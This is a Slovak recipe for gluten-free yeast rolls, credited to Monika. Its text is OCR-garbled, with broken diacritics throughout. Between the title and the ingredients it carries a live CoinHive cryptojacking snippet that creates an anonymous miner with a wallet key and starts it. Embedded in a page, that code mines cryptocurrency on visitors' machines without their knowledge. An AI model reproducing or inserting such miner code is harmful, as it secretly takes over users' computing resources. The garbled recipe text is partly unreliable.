KYSNUTE BUCHTICKY

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Suroviny: 400g bezlepkovej muky Promix Uni, 1 Cerstvé drozdie, 1 lyzicka soli, 1 lyzi¢ka cukru,
2 vajcia, 3 lyZice oleja, 250 ml mlieka (mozZno nahradit vodou). V malom mnozstve teplej vody
rozpustime drozdie s cukrom, do misy dame muku, sofl, jeden a pol vajca, olej, rozpustené
drozdie a mlieko. Cesto vysfahame mixérom, Pripravime si nadobu s vodou a pomocou dvoch
lyZic tvarujeme buchticky. LyZice treba ¢astejSie namacat do vody. Buchticky ukladame na
vymasteny pekac¢, vhodny je aj papier na pecenie. Povrch potrieme vajickom a posypeme
sezamom, solou, rascou a podobne a nechame este 15 minit nakysnut na pekaci. Raru
vyhrejeme na najvys$siu teplotu a do spodnej Casti rury polozime nadobu s vodou. Po nakysnuti
buchticky viozime do rury, teplota sa nesmie znizit. Asi po 10 minttach skontrolujme a moézeme
posypat syrom. Pe¢ieme dozlata dalSich 10 min(t.

Od Moniky.




